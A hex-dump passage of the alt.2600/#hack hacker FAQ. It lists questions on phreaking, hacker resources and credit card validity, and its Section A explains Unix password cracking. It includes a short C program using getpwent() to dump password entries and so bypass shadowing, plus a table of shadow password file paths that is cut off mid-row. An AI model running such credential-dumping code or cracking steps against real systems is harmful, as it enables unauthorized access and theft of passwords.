|00001060| 31 38 2e 20 57 68 61 74 | 20 61 72 65 20 73 6f 6d |18. What| are som|
|00001070| 65 20 6e 75 6d 62 65 72 | 73 20 74 68 61 74 20 61 |e number|s that a|
|00001080| 6c 77 61 79 73 20 72 69 | 6e 67 20 62 75 73 79 3f |lways ri|ng busy?|
|00001090| 0d 0a 55 20 31 39 2e 20 | 57 68 61 74 20 61 72 65 |..U 19. |What are|
|000010a0| 20 73 6f 6d 65 20 6e 75 | 6d 62 65 72 73 20 74 68 | some nu|mbers th|
|000010b0| 61 74 20 74 65 6d 70 6f | 72 61 72 69 6c 79 20 64 |at tempo|rarily d|
|000010c0| 69 73 63 6f 6e 6e 65 63 | 74 20 70 68 6f 6e 65 20 |isconnec|t phone |
|000010d0| 73 65 72 76 69 63 65 3f | 0d 0a 20 20 32 30 2e 20 |service?|.. 20. |
|000010e0| 57 68 61 74 20 69 73 20 | 73 63 61 6e 6e 69 6e 67 |What is |scanning|
|000010f0| 3f 0d 0a 20 20 32 31 2e | 20 49 73 20 73 63 61 6e |?.. 21.| Is scan|
|00001100| 6e 69 6e 67 20 69 6c 6c | 65 67 61 6c 3f 0d 0a 20 |ning ill|egal?.. |
|00001110| 20 32 32 2e 20 57 68 65 | 72 65 20 63 61 6e 20 49 | 22. Whe|re can I|
|00001120| 20 70 75 72 63 68 61 73 | 65 20 61 20 6c 69 6e 65 | purchas|e a line|
|00001130| 6d 61 6e 27 73 20 68 61 | 6e 64 73 65 74 3f 0d 0a |man's ha|ndset?..|
|00001140| 20 20 32 33 2e 20 57 68 | 61 74 20 61 72 65 20 74 | 23. Wh|at are t|
|00001150| 68 65 20 44 54 4d 46 20 | 66 72 65 71 75 65 6e 63 |he DTMF |frequenc|
|00001160| 69 65 73 3f 0d 0a 20 20 | 32 34 2e 20 57 68 61 74 |ies?.. |24. What|
|00001170| 20 61 72 65 20 74 68 65 | 20 66 72 65 71 75 65 6e | are the| frequen|
|00001180| 63 69 65 73 20 6f 66 20 | 74 68 65 20 74 65 6c 65 |cies of |the tele|
|00001190| 70 68 6f 6e 65 20 74 6f | 6e 65 73 3f 0d 0a 55 20 |phone to|nes?..U |
|000011a0| 32 35 2e 20 57 68 61 74 | 20 61 72 65 20 61 6c 6c |25. What| are all|
|000011b0| 20 6f 66 20 74 68 65 20 | 2a 20 63 6f 64 65 73 3f | of the |* codes?|
|000011c0| 0d 0a 20 20 32 36 2e 20 | 57 68 61 74 20 66 72 65 |.. 26. |What fre|
|000011d0| 71 75 65 6e 63 69 65 73 | 20 64 6f 20 63 6f 72 64 |quencies| do cord|
|000011e0| 6c 65 73 73 20 70 68 6f | 6e 65 73 20 6f 70 65 72 |less pho|nes oper|
|000011f0| 61 74 65 20 6f 6e 3f 0d | 0a 0d 0a 0d 0a 53 65 63 |ate on?.|.....Sec|
|00001200| 74 69 6f 6e 20 43 3a 20 | 52 65 73 6f 75 72 63 65 |tion C: |Resource|
|00001210| 73 0d 0a 0d 0a 55 20 30 | 31 2e 20 57 68 61 74 20 |s....U 0|1. What |
|00001220| 61 72 65 20 73 6f 6d 65 | 20 66 74 70 20 73 69 74 |are some| ftp sit|
|00001230| 65 73 20 6f 66 20 69 6e | 74 65 72 65 73 74 20 74 |es of in|terest t|
|00001240| 6f 20 68 61 63 6b 65 72 | 73 3f 0d 0a 55 20 30 32 |o hacker|s?..U 02|
|00001250| 2e 20 57 68 61 74 20 61 | 72 65 20 73 6f 6d 65 20 |. What a|re some |
|00001260| 6e 65 77 73 67 72 6f 75 | 70 73 20 6f 66 20 69 6e |newsgrou|ps of in|
|00001270| 74 65 72 65 73 74 20 74 | 6f 20 68 61 63 6b 65 72 |terest t|o hacker|
|00001280| 73 3f 0d 0a 55 20 30 33 | 2e 20 57 68 61 74 20 61 |s?..U 03|. What a|
|00001290| 72 65 20 73 6f 6d 65 20 | 74 65 6c 6e 65 74 20 73 |re some |telnet s|
|000012a0| 69 74 65 73 20 6f 66 20 | 69 6e 74 65 72 65 73 74 |ites of |interest|
|000012b0| 20 74 6f 20 68 61 63 6b | 65 72 73 3f 0d 0a 55 20 | to hack|ers?..U |
|000012c0| 30 34 2e 20 57 68 61 74 | 20 61 72 65 20 73 6f 6d |04. What| are som|
|000012d0| 65 20 67 6f 70 68 65 72 | 20 73 69 74 65 73 20 6f |e gopher| sites o|
|000012e0| 66 20 69 6e 74 65 72 65 | 73 74 20 74 6f 20 68 61 |f intere|st to ha|
|000012f0| 63 6b 65 72 73 3f 0d 0a | 55 20 30 35 2e 20 57 68 |ckers?..|U 05. Wh|
|00001300| 61 74 20 61 72 65 20 73 | 6f 6d 65 20 57 6f 72 6c |at are s|ome Worl|
|00001310| 64 20 77 69 64 65 20 57 | 65 62 20 28 57 57 57 29 |d wide W|eb (WWW)|
|00001320| 20 73 69 74 65 73 20 6f | 66 20 69 6e 74 65 72 65 | sites o|f intere|
|00001330| 73 74 20 74 6f 20 68 61 | 63 6b 65 72 73 3f 0d 0a |st to ha|ckers?..|
|00001340| 20 20 30 36 2e 20 57 68 | 61 74 20 61 72 65 20 73 | 06. Wh|at are s|
|00001350| 6f 6d 65 20 49 52 43 20 | 63 68 61 6e 6e 65 6c 73 |ome IRC |channels|
|00001360| 20 6f 66 20 69 6e 74 65 | 72 65 73 74 20 74 6f 20 | of inte|rest to |
|00001370| 68 61 63 6b 65 72 73 3f | 0d 0a 55 20 30 37 2e 20 |hackers?|..U 07. |
|00001380| 57 68 61 74 20 61 72 65 | 20 73 6f 6d 65 20 42 42 |What are| some BB|
|00001390| 53 27 73 20 6f 66 20 69 | 6e 74 65 72 65 73 74 20 |S's of i|nterest |
|000013a0| 74 6f 20 68 61 63 6b 65 | 72 73 3f 0d 0a 55 20 30 |to hacke|rs?..U 0|
|000013b0| 38 2e 20 57 68 61 74 20 | 62 6f 6f 6b 73 20 61 72 |8. What |books ar|
|000013c0| 65 20 61 76 61 69 6c 61 | 62 6c 65 20 6f 6e 20 74 |e availa|ble on t|
|000013d0| 68 69 73 20 73 75 62 6a | 65 63 74 3f 0d 0a 55 20 |his subj|ect?..U |
|000013e0| 30 39 2e 20 57 68 61 74 | 20 61 72 65 20 73 6f 6d |09. What| are som|
|000013f0| 65 20 6d 61 69 6c 69 6e | 67 20 6c 69 73 74 73 20 |e mailin|g lists |
|00001400| 6f 66 20 69 6e 74 65 72 | 65 73 74 20 74 6f 20 68 |of inter|est to h|
|00001410| 61 63 6b 65 72 73 3f 0d | 0a 55 20 31 30 2e 20 57 |ackers?.|.U 10. W|
|00001420| 68 61 74 20 61 72 65 20 | 73 6f 6d 65 20 70 72 69 |hat are |some pri|
|00001430| 6e 74 20 6d 61 67 61 7a | 69 6e 65 73 20 6f 66 20 |nt magaz|ines of |
|00001440| 69 6e 74 65 72 65 73 74 | 20 74 6f 20 68 61 63 6b |interest| to hack|
|00001450| 65 72 73 3f 0d 0a 55 20 | 31 31 2e 20 57 68 61 74 |ers?..U |11. What|
|00001460| 20 61 72 65 20 73 6f 6d | 65 20 6f 72 67 61 6e 69 | are som|e organi|
|00001470| 7a 61 74 69 6f 6e 73 20 | 6f 66 20 69 6e 74 65 72 |zations |of inter|
|00001480| 65 73 74 20 74 6f 20 68 | 61 63 6b 65 72 73 3f 0d |est to h|ackers?.|
|00001490| 0a 20 20 31 32 2e 20 57 | 68 65 72 65 20 63 61 6e |. 12. W|here can|
|000014a0| 20 49 20 70 75 72 63 68 | 61 73 65 20 61 20 6d 61 | I purch|ase a ma|
|000014b0| 67 6e 65 74 69 63 20 73 | 74 72 69 70 65 20 65 6e |gnetic s|tripe en|
|000014c0| 63 6f 64 65 72 2f 64 65 | 63 6f 64 65 72 3f 0d 0a |coder/de|coder?..|
|000014d0| 4e 20 31 33 2e 20 57 68 | 61 74 20 61 72 65 20 74 |N 13. Wh|at are t|
|000014e0| 68 65 20 72 61 69 6e 62 | 6f 77 20 62 6f 6f 6b 73 |he rainb|ow books|
|000014f0| 20 61 6e 64 20 68 6f 77 | 20 63 61 6e 20 49 20 67 | and how| can I g|
|00001500| 65 74 20 74 68 65 6d 3f | 0d 0a 0d 0a 0d 0a 53 65 |et them?|......Se|
|00001510| 63 74 69 6f 6e 20 44 3a | 20 32 36 30 30 0d 0a 0d |ction D:| 2600...|
|00001520| 0a 20 20 30 31 2e 20 57 | 68 61 74 20 69 73 20 61 |. 01. W|hat is a|
|00001530| 6c 74 2e 32 36 30 30 3f | 0d 0a 20 20 30 32 2e 20 |lt.2600?|.. 02. |
|00001540| 57 68 61 74 20 64 6f 65 | 73 20 22 32 36 30 30 22 |What doe|s "2600"|
|00001550| 20 6d 65 61 6e 3f 0d 0a | 20 20 30 33 2e 20 41 72 | mean?..| 03. Ar|
|00001560| 65 20 74 68 65 72 65 20 | 6f 6e 2d 6c 69 6e 65 20 |e there |on-line |
|00001570| 76 65 72 73 69 6f 6e 73 | 20 6f 66 20 32 36 30 30 |versions| of 2600|
|00001580| 20 61 76 61 69 6c 61 62 | 6c 65 3f 0d 0a 20 20 30 | availab|le?.. 0|
|00001590| 34 2e 20 49 20 63 61 6e | 27 74 20 66 69 6e 64 20 |4. I can|'t find |
|000015a0| 32 36 30 30 20 61 74 20 | 61 6e 79 20 62 6f 6f 6b |2600 at |any book|
|000015b0| 73 74 6f 72 65 73 2e 20 | 20 57 68 61 74 20 63 61 |stores. | What ca|
|000015c0| 6e 20 49 20 64 6f 3f 0d | 0a 20 20 30 35 2e 20 57 |n I do?.|. 05. W|
|000015d0| 68 79 20 64 6f 65 73 20 | 32 36 30 30 20 63 6f 73 |hy does |2600 cos|
|000015e0| 74 20 6d 6f 72 65 20 74 | 6f 20 73 75 62 73 63 72 |t more t|o subscr|
|000015f0| 69 62 65 20 74 6f 20 74 | 68 61 6e 20 74 6f 20 62 |ibe to t|han to b|
|00001600| 75 79 20 61 74 20 61 20 | 6e 65 77 73 73 74 61 6e |uy at a |newsstan|
|00001610| 64 3f 0d 0a 0d 0a 0d 0a | 53 65 63 74 69 6f 6e 20 |d?......|Section |
|00001620| 45 3a 20 4d 69 73 63 65 | 6c 6c 61 6e 65 6f 75 73 |E: Misce|llaneous|
|00001630| 0d 0a 0d 0a 20 20 30 31 | 2e 20 57 68 61 74 20 64 |.... 01|. What d|
|00001640| 6f 65 73 20 58 58 58 20 | 73 74 61 6e 64 20 66 6f |oes XXX |stand fo|
|00001650| 72 3f 0d 0a 20 20 30 32 | 2e 20 48 6f 77 20 64 6f |r?.. 02|. How do|
|00001660| 20 49 20 64 65 74 65 72 | 6d 69 6e 65 20 69 66 20 | I deter|mine if |
|00001670| 49 20 68 61 76 65 20 61 | 20 76 61 6c 69 64 20 63 |I have a| valid c|
|00001680| 72 65 64 69 74 20 63 61 | 72 64 20 6e 75 6d 62 65 |redit ca|rd numbe|
|00001690| 72 3f 0d 0a 20 20 30 33 | 2e 20 57 68 61 74 20 62 |r?.. 03|. What b|
|000016a0| 61 6e 6b 20 69 73 73 75 | 65 64 20 74 68 69 73 20 |ank issu|ed this |
|000016b0| 63 72 65 64 69 74 20 63 | 61 72 64 3f 0d 0a 20 20 |credit c|ard?.. |
|000016c0| 30 34 2e 20 57 68 61 74 | 20 61 72 65 20 74 68 65 |04. What| are the|
|000016d0| 20 65 74 68 69 63 73 20 | 6f 66 20 68 61 63 6b 69 | ethics |of hacki|
|000016e0| 6e 67 3f 0d 0a 55 20 30 | 35 2e 20 57 68 65 72 65 |ng?..U 0|5. Where|
|000016f0| 20 63 61 6e 20 49 20 67 | 65 74 20 61 20 63 6f 70 | can I g|et a cop|
|00001700| 79 20 6f 66 20 74 68 65 | 20 61 6c 74 2e 32 36 30 |y of the| alt.260|
|00001710| 30 2f 23 68 61 63 6b 20 | 46 41 51 3f 0d 0a 0d 0a |0/#hack |FAQ?....|
|00001720| 0d 0a 0d 0a 55 20 3d 3d | 20 55 70 64 61 74 65 64 |....U ==| Updated|
|00001730| 20 73 69 6e 63 65 20 6c | 61 73 74 20 72 65 6c 65 | since l|ast rele|
|00001740| 61 73 65 20 6f 66 20 74 | 68 65 20 23 68 61 63 6b |ase of t|he #hack|
|00001750| 20 46 41 51 0d 0a 4e 20 | 3d 3d 20 4e 65 77 20 73 | FAQ..N |== New s|
|00001760| 69 6e 63 65 20 6c 61 73 | 74 20 72 65 6c 65 61 73 |ince las|t releas|
|00001770| 65 20 6f 66 20 74 68 65 | 20 23 68 61 63 6b 20 46 |e of the| #hack F|
|00001780| 41 51 0d 0a 0d 0a 0d 0a | 0d 0a 0d 0a 53 65 63 74 |AQ......|....Sect|
|00001790| 69 6f 6e 20 41 3a 20 43 | 6f 6d 70 75 74 65 72 73 |ion A: C|omputers|
|000017a0| 0d 0a 7e 7e 7e 7e 7e 7e | 7e 7e 7e 7e 7e 7e 7e 7e |..~~~~~~|~~~~~~~~|
|000017b0| 7e 7e 7e 7e 7e 7e 0d 0a | 0d 0a 30 31 2e 20 48 6f |~~~~~~..|..01. Ho|
|000017c0| 77 20 64 6f 20 49 20 61 | 63 63 65 73 73 20 74 68 |w do I a|ccess th|
|000017d0| 65 20 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 20 |e passwo|rd file |
|000017e0| 75 6e 64 65 72 20 55 6e | 69 78 3f 0d 0a 0d 0a 49 |under Un|ix?....I|
|000017f0| 6e 20 73 74 61 6e 64 61 | 72 64 20 55 6e 69 78 20 |n standa|rd Unix |
|00001800| 74 68 65 20 70 61 73 73 | 77 6f 72 64 20 66 69 6c |the pass|word fil|
|00001810| 65 20 69 73 20 2f 65 74 | 63 2f 70 61 73 73 77 64 |e is /et|c/passwd|
|00001820| 2e 20 20 4f 6e 20 61 20 | 55 6e 69 78 20 73 79 73 |. On a |Unix sys|
|00001830| 74 65 6d 0d 0a 77 69 74 | 68 20 65 69 74 68 65 72 |tem..wit|h either|
|00001840| 20 4e 49 53 2f 79 70 20 | 6f 72 20 70 61 73 73 77 | NIS/yp |or passw|
|00001850| 6f 72 64 20 73 68 61 64 | 6f 77 69 6e 67 2c 20 6d |ord shad|owing, m|
|00001860| 75 63 68 20 6f 66 20 74 | 68 65 20 70 61 73 73 77 |uch of t|he passw|
|00001870| 6f 72 64 20 64 61 74 61 | 0d 0a 6d 61 79 20 62 65 |ord data|..may be|
|00001880| 20 65 6c 73 65 77 68 65 | 72 65 2e 0d 0a 0d 0a 0d | elsewhe|re......|
|00001890| 0a 30 32 2e 20 48 6f 77 | 20 64 6f 20 49 20 63 72 |.02. How| do I cr|
|000018a0| 61 63 6b 20 55 6e 69 78 | 20 70 61 73 73 77 6f 72 |ack Unix| passwor|
|000018b0| 64 73 3f 0d 0a 0d 0a 43 | 6f 6e 74 72 61 72 79 20 |ds?....C|ontrary |
|000018c0| 74 6f 20 70 6f 70 75 6c | 61 72 20 62 65 6c 69 65 |to popul|ar belie|
|000018d0| 66 2c 20 55 6e 69 78 20 | 70 61 73 73 77 6f 72 64 |f, Unix |password|
|000018e0| 73 20 63 61 6e 6e 6f 74 | 20 62 65 20 64 65 63 72 |s cannot| be decr|
|000018f0| 79 70 74 65 64 2e 20 20 | 55 6e 69 78 0d 0a 70 61 |ypted. |Unix..pa|
|00001900| 73 73 77 6f 72 64 73 20 | 61 72 65 20 65 6e 63 72 |sswords |are encr|
|00001910| 79 70 74 65 64 20 77 69 | 74 68 20 61 20 6f 6e 65 |ypted wi|th a one|
|00001920| 20 77 61 79 20 66 75 6e | 63 74 69 6f 6e 2e 20 20 | way fun|ction. |
|00001930| 54 68 65 20 6c 6f 67 69 | 6e 20 70 72 6f 67 72 61 |The logi|n progra|
|00001940| 6d 0d 0a 65 6e 63 72 79 | 70 74 73 20 74 68 65 20 |m..encry|pts the |
|00001950| 74 65 78 74 20 79 6f 75 | 20 65 6e 74 65 72 20 61 |text you| enter a|
|00001960| 74 20 74 68 65 20 22 70 | 61 73 73 77 6f 72 64 3a |t the "p|assword:|
|00001970| 22 20 70 72 6f 6d 70 74 | 20 61 6e 64 20 63 6f 6d |" prompt| and com|
|00001980| 70 61 72 65 73 0d 0a 74 | 68 61 74 20 65 6e 63 72 |pares..t|hat encr|
|00001990| 79 70 74 65 64 20 73 74 | 72 69 6e 67 20 61 67 61 |ypted st|ring aga|
|000019a0| 69 6e 73 74 20 74 68 65 | 20 65 6e 63 72 79 70 74 |inst the| encrypt|
|000019b0| 65 64 20 66 6f 72 6d 20 | 6f 66 20 79 6f 75 72 20 |ed form |of your |
|000019c0| 70 61 73 73 77 6f 72 64 | 2e 0d 0a 0d 0a 50 61 73 |password|.....Pas|
|000019d0| 73 77 6f 72 64 20 63 72 | 61 63 6b 69 6e 67 20 73 |sword cr|acking s|
|000019e0| 6f 66 74 77 61 72 65 20 | 75 73 65 73 20 77 6f 72 |oftware |uses wor|
|000019f0| 64 6c 69 73 74 73 2e 20 | 20 45 61 63 68 20 77 6f |dlists. | Each wo|
|00001a00| 72 64 20 69 6e 20 74 68 | 65 20 77 6f 72 64 6c 69 |rd in th|e wordli|
|00001a10| 73 74 0d 0a 69 73 20 65 | 6e 63 72 79 70 74 65 64 |st..is e|ncrypted|
|00001a20| 20 61 6e 64 20 74 68 65 | 20 72 65 73 75 6c 74 73 | and the| results|
|00001a30| 20 61 72 65 20 63 6f 6d | 70 61 72 65 64 20 74 6f | are com|pared to|
|00001a40| 20 74 68 65 20 65 6e 63 | 72 79 70 74 65 64 20 66 | the enc|rypted f|
|00001a50| 6f 72 6d 20 6f 66 20 74 | 68 65 0d 0a 74 61 72 67 |orm of t|he..targ|
|00001a60| 65 74 20 70 61 73 73 77 | 6f 72 64 2e 0d 0a 0d 0a |et passw|ord.....|
|00001a70| 54 68 65 20 62 65 73 74 | 20 63 72 61 63 6b 69 6e |The best| crackin|
|00001a80| 67 20 70 72 6f 67 72 61 | 6d 20 66 6f 72 20 55 6e |g progra|m for Un|
|00001a90| 69 78 20 70 61 73 73 77 | 6f 72 64 73 20 69 73 20 |ix passw|ords is |
|00001aa0| 63 75 72 72 65 6e 74 6c | 79 20 43 72 61 63 6b 20 |currentl|y Crack |
|00001ab0| 62 79 0d 0a 41 6c 65 63 | 20 4d 75 66 66 65 74 74 |by..Alec| Muffett|
|00001ac0| 2e 20 20 46 6f 72 20 50 | 43 2d 44 4f 53 2c 20 74 |. For P|C-DOS, t|
|00001ad0| 68 65 20 62 65 73 74 20 | 70 61 63 6b 61 67 65 20 |he best |package |
|00001ae0| 74 6f 20 75 73 65 20 69 | 73 20 63 75 72 72 65 6e |to use i|s curren|
|00001af0| 74 6c 79 0d 0a 43 72 61 | 63 6b 65 72 4a 61 63 6b |tly..Cra|ckerJack|
|00001b00| 2e 0d 0a 0d 0a 0d 0a 30 | 33 2e 20 57 68 61 74 20 |.......0|3. What |
|00001b10| 69 73 20 70 61 73 73 77 | 6f 72 64 20 73 68 61 64 |is passw|ord shad|
|00001b20| 6f 77 69 6e 67 3f 0d 0a | 0d 0a 50 61 73 73 77 6f |owing?..|..Passwo|
|00001b30| 72 64 20 73 68 61 64 6f | 77 69 6e 67 20 69 73 20 |rd shado|wing is |
|00001b40| 61 20 73 65 63 75 72 69 | 74 79 20 73 79 73 74 65 |a securi|ty syste|
|00001b50| 6d 20 77 68 65 72 65 20 | 74 68 65 20 65 6e 63 72 |m where |the encr|
|00001b60| 79 70 74 65 64 20 70 61 | 73 73 77 6f 72 64 0d 0a |ypted pa|ssword..|
|00001b70| 66 69 65 6c 64 20 6f 66 | 20 2f 65 74 63 2f 70 61 |field of| /etc/pa|
|00001b80| 73 73 77 64 20 69 73 20 | 72 65 70 6c 61 63 65 64 |sswd is |replaced|
|00001b90| 20 77 69 74 68 20 61 20 | 73 70 65 63 69 61 6c 20 | with a |special |
|00001ba0| 74 6f 6b 65 6e 20 61 6e | 64 20 74 68 65 0d 0a 65 |token an|d the..e|
|00001bb0| 6e 63 72 79 70 74 65 64 | 20 70 61 73 73 77 6f 72 |ncrypted| passwor|
|00001bc0| 64 20 69 73 20 73 74 6f | 72 65 64 20 69 6e 20 61 |d is sto|red in a|
|00001bd0| 20 73 65 70 61 72 61 74 | 65 20 66 69 6c 65 20 77 | separat|e file w|
|00001be0| 68 69 63 68 20 69 73 20 | 6e 6f 74 20 72 65 61 64 |hich is |not read|
|00001bf0| 61 62 6c 65 0d 0a 62 79 | 20 6e 6f 72 6d 61 6c 20 |able..by| normal |
|00001c00| 73 79 73 74 65 6d 20 75 | 73 65 72 73 2e 0d 0a 0d |system u|sers....|
|00001c10| 0a 54 6f 20 64 65 66 65 | 61 74 20 70 61 73 73 77 |.To defe|at passw|
|00001c20| 6f 72 64 20 73 68 61 64 | 6f 77 69 6e 67 20 6f 6e |ord shad|owing on|
|00001c30| 20 6d 61 6e 79 20 28 62 | 75 74 20 6e 6f 74 20 61 | many (b|ut not a|
|00001c40| 6c 6c 29 20 73 79 73 74 | 65 6d 73 2c 20 77 72 69 |ll) syst|ems, wri|
|00001c50| 74 65 20 61 0d 0a 70 72 | 6f 67 72 61 6d 20 74 68 |te a..pr|ogram th|
|00001c60| 61 74 20 75 73 65 73 20 | 73 75 63 63 65 73 73 69 |at uses |successi|
|00001c70| 76 65 20 63 61 6c 6c 73 | 20 74 6f 20 67 65 74 70 |ve calls| to getp|
|00001c80| 77 65 6e 74 28 29 20 74 | 6f 20 6f 62 74 61 69 6e |went() t|o obtain|
|00001c90| 20 74 68 65 0d 0a 70 61 | 73 73 77 6f 72 64 20 66 | the..pa|ssword f|
|00001ca0| 69 6c 65 2e 0d 0a 0d 0a | 45 78 61 6d 70 6c 65 3a |ile.....|Example:|
|00001cb0| 0d 0a 0d 0a 23 69 6e 63 | 6c 75 64 65 20 3c 70 77 |....#inc|lude <pw|
|00001cc0| 64 2e 68 3e 0d 0a 6d 61 | 69 6e 28 29 0d 0a 7b 0d |d.h>..ma|in()..{.|
|00001cd0| 0a 73 74 72 75 63 74 20 | 70 61 73 73 77 64 20 2a |.struct |passwd *|
|00001ce0| 70 3b 0d 0a 77 68 69 6c | 65 28 70 3d 67 65 74 70 |p;..whil|e(p=getp|
|00001cf0| 77 65 6e 74 28 29 29 0d | 0a 70 72 69 6e 74 66 28 |went()).|.printf(|
|00001d00| 22 25 73 3a 25 73 3a 25 | 64 3a 25 64 3a 25 73 3a |"%s:%s:%|d:%d:%s:|
|00001d10| 25 73 3a 25 73 5c 6e 22 | 2c 20 70 2d 3e 70 77 5f |%s:%s\n"|, p->pw_|
|00001d20| 6e 61 6d 65 2c 20 70 2d | 3e 70 77 5f 70 61 73 73 |name, p-|>pw_pass|
|00001d30| 77 64 2c 0d 0a 70 2d 3e | 70 77 5f 75 69 64 2c 20 |wd,..p->|pw_uid, |
|00001d40| 70 2d 3e 70 77 5f 67 69 | 64 2c 20 70 2d 3e 70 77 |p->pw_gi|d, p->pw|
|00001d50| 5f 67 65 63 6f 73 2c 20 | 70 2d 3e 70 77 5f 64 69 |_gecos, |p->pw_di|
|00001d60| 72 2c 20 70 2d 3e 70 77 | 5f 73 68 65 6c 6c 29 3b |r, p->pw|_shell);|
|00001d70| 0d 0a 7d 0d 0a 0d 0a 0d | 0a 30 34 2e 20 57 68 65 |..}.....|.04. Whe|
|00001d80| 72 65 20 63 61 6e 20 49 | 20 66 69 6e 64 20 74 68 |re can I| find th|
|00001d90| 65 20 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 20 |e passwo|rd file |
|00001da0| 69 66 20 69 74 27 73 20 | 73 68 61 64 6f 77 65 64 |if it's |shadowed|
|00001db0| 3f 0d 0a 0d 0a 55 6e 69 | 78 20 20 20 20 20 20 20 |?....Uni|x |
|00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 50 61 74 68 20 | | Path |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001de0| 20 20 20 20 20 20 20 20 | 20 20 20 54 6f 6b 65 6e | | Token|
|00001df0| 0d 0a 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |..------|--------|
|00001e00| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001e10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001e20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001e30| 2d 2d 2d 0d 0a 41 49 58 | 20 33 20 20 20 20 20 20 |---..AIX| 3 |
|00001e40| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|00001e50| 73 65 63 75 72 69 74 79 | 2f 70 61 73 73 77 64 20 |security|/passwd |
|00001e60| 20 20 20 20 20 20 20 20 | 20 20 20 21 0d 0a 20 20 | | !.. |
|00001e70| 20 20 20 20 20 6f 72 20 | 20 20 20 20 20 20 20 20 | or | |
|00001e80| 20 20 20 20 2f 74 63 62 | 2f 61 75 74 68 2f 66 69 | /tcb|/auth/fi|
|00001e90| 6c 65 73 2f 3c 66 69 72 | 73 74 20 6c 65 74 74 65 |les/<fir|st lette|
|00001ea0| 72 20 20 20 23 0d 0a 20 | 20 20 20 20 20 20 20 20 |r #.. | |
|00001eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ec0| 20 20 20 6f 66 20 75 73 | 65 72 6e 61 6d 65 3e 2f | of us|ername>/|
|00001ed0| 3c 75 73 65 72 6e 61 6d | 65 3e 0d 0a 41 2f 55 58 |<usernam|e>..A/UX|
|00001ee0| 20 33 2e 30 73 20 20 20 | 20 20 20 20 20 20 20 20 | 3.0s | |
|00001ef0| 20 20 2f 74 63 62 2f 66 | 69 6c 65 73 2f 61 75 74 | /tcb/f|iles/aut|
|00001f00| 68 2f 3f 2f 2a 0d 0a 42 | 53 44 34 2e 33 2d 52 65 |h/?/*..B|SD4.3-Re|
|00001f10| 6e 6f 20 20 20 20 20 20 | 20 20 20 20 20 2f 65 74 |no | /et|
|00001f20| 63 2f 6d 61 73 74 65 72 | 2e 70 61 73 73 77 64 20 |c/master|.passwd |
|00001f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 0d 0a | | *..|
|00001f40| 43 6f 6e 76 65 78 4f 53 | 20 31 30 20 20 20 20 20 |ConvexOS| 10 |
|00001f50| 20 20 20 20 20 20 2f 65 | 74 63 2f 73 68 61 64 70 | /e|tc/shadp|
|00001f60| 77 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w | |
|00001f70| 20 20 20 20 20 20 2a 0d | 0a 43 6f 6e 76 65 78 4f | *.|.ConvexO|
|00001f80| 53 20 31 31 20 20 20 20 | 20 20 20 20 20 20 20 2f |S 11 | /|
|00001f90| 65 74 63 2f 73 68 61 64 | 6f 77 20 20 20 20 20 20 |etc/shad|ow |
|00001fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|00001fb0| 0d 0a 44 47 2f 55 58 20 | 20 20 20 20 20 20 20 20 |..DG/UX | |
|00001fc0| 20 20 20 20 20 20 20 20 | 2f 65 74 63 2f 74 63 62 | |/etc/tcb|
|00001fd0| 2f 61 61 2f 75 73 65 72 | 2f 20 20 20 20 20 20 20 |/aa/user|/ |
|00001fe0| 20 20 20 20 20 20 20 20 | 2a 0d 0a 45 50 2f 49 58 | |*..EP/IX|
|00001ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002000| 20 2f 65 74 63 2f 73 68 | 61 64 6f 77 20 20 20 20 | /etc/sh|adow |
|00002010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002020| 20 78 0d 0a 48 50 2d 55 | 58 20 20 20 20 20 20 20 | x..HP-U|X |
|00002030| 20 20 20 20 20 20 20 20 | 20 20 2f 2e 73 65 63 75 | | /.secu|
|00002040| 72 65 2f 65 74 63 2f 70 | 61 73 73 77 64 20 20 20 |re/etc/p|asswd |
|00002050| 20 20 20 20 20 20 20 20 | 20 20 2a 0d 0a 49 52 49 | | *..IRI|
|00002060| 58 20 35 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |X 5 | |
|00002070| 20 20 20 2f 65 74 63 2f | 73 68 61 64 6f 77 20 20 | /etc/|shadow |
|00002080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002090| 20 20 20 78 0d 0a 4c 69 | 6e 75 78 20 31 2e 31 20 | x..Li|nux 1.1 |
|000020a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2f 65 74 63 | | /etc|
|000020b0| 2f 73 68 61 64 6f 77 20 | 20 20 20 20 20 20 20 20 |/shadow | |
|000020c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 0d 0a 4f | | *..O|
|000020d0| 53 46 2f 31 20 20 20 20 | 20 20 20 20 20 20 20 20 |SF/1 | |
|000020e0| 20 20 20 20 20 2f 65 74 | 63 2f 70 61 73 73 77 64 | /et|c/passwd|
|000020f0| 5b 2e 64 69 72 7c 2e 70 | 61 67 5d 20 20 20 20 20 |[.dir|.p|ag] |
|00002100| 20 20 20 20 20 2a 0d 0a | 53 43 4f 20 55 6e 69 78 | *..|SCO Unix|
|00002110| 20 23 2e 32 2e 78 20 20 | 20 20 20 20 20 20 2f 74 | #.2.x | /t|
|00002120| 63 62 2f 61 75 74 68 2f | 66 69 6c 65 73 2f 3c 66 |cb/auth/|files/<f|
|00002130| 69 72 73 74 20 6c 65 74 | 74 65 72 20 20 20 2a 0d |irst let|ter *.|
|00002140| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6f 66 20 | | of |
